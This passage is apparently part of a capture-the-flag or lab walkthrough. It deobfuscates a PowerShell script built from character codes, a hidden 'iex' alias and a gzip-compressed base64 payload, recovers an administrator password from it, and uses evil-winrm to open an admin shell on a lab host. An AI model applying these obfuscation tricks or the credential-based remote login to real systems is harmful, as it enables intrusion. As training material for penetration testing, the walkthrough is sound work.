PS C:\\> $Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAFVSSW4dMAi9ShaRsgWDGRY5RU5gpqqbLKL2/nEr/aRlheDpDTbPb52/P/rt18fP9x9Pr08vgPC3Ciy9agBxFyJa6gFI4Mnl2vHA7Q0oIzi7bS2OgMbwadBc5Qpftb5bBJGv9p9VtJrQldudsoaM65DFVKUaA22SEJ/l0AmHawJi9+JlfM3it0Dbf6oP/mJljaTWI6XS5VhiE6UxAk4IShNIO6WavayXexHfRY+P8oM+3LYDNvma2Mu6+RxoMF2XMntizTRdZYl0kUvteJzshBWBRe80sSReonPntuUmPGAUKM59bbqnbiSv2Sx52RLEcNxqHj6CkoUuFs+fpzAEOiTA2ZH72uwtgE6nutJWlladOOs6yOOHx9dxpYuyTtKbQOL+YQaTIYvyyrUZD50bSw4cMVKjfS/DGq7syyfg7G9pPgIAAA==")

Running these items individually without the pipe or & shows that this code invokes the start-sleep cmdlet for 5 seconds.

PS C:\\> [string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)}))

Start-Sleep -Seconds 5
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')

iex

The fourth line element checks if the machine’s name is compromised and, if so, it would exit the script.

{if($env:computername -eq "compromised") {exit}};

The fifth element is formed the same way as the third, and we can use the same logic to follow it. We’ll discover this command determines whether the machine can ping 8.8.8.8, and will exit if true.

PS C:\\> [string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)}))

if (test-connection 8.8.8.8 -Quiet) {exit}
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')
iex

The sixth element is formed the same way as the fifth, but its final command is interesting. It checks to ensure the third element is present in the array. If not, the script will exit; otherwise, it will create a memory stream object using our base64 encoded value from the first element.

PS C:\\> [string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)}))

if ($owned[2].ToString() -ne 'if($env:computername -eq "compromised") {exit}') {exit} Else {$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))}
PS C:\\> ((gv "*mdr*").name[3,11,2]-join'')
iex

The seventh element decodes a base64-encoded string and pipes it to iex. Next, the encoded string decompresses a gzipstream and passes that object to a StreamReader object, which is then written to stdout.

PS C:\\> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA"))

(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()

Reconstructing the Script

Now that we better understand the code within each element, we can recreate the commands on their own lines.

$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
Start-Sleep -Seconds 5
if($env:computername -eq "compromised") {exit}
if (test-connection 8.8.8.8 -Quiet) {exit}
if ($owned[2].ToString() -ne 'if($env:computername -eq "compromised") {exit}') {exit} Else {$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))}
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend() | iex

At this point, we know we are dealing with some code which is not important for our exploit. Nevertheless, it was important to understand the script in its entirety. In general, we want to avoid blindly executing code that we do not understand.

Revealing Encoded Password

After our hard work, we can finally reveal what was hiding within the obfuscated code. The base64 encoded string is decoded into a memory stream object, which is then passed into a gzipstream object and decompressed. After decompression, the resulting string is piped into iex for code execution. Omitting the IEX, we’ll notice the code in question appears to be a password.

PS C:\\> $Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
PS C:\\> $ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))
PS C:\\> (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()

TheShellIsMightierThanTheSword!

Administrator Shell

Let’s attempt to leverage this password to log in as the Administrator using WinRM.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 192.168.120.140 -u administrator -p 'TheShellIsMightierThanTheSword!'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
compromised\\administrator
...

The password worked! We now have admin privileges on the target. Very nice.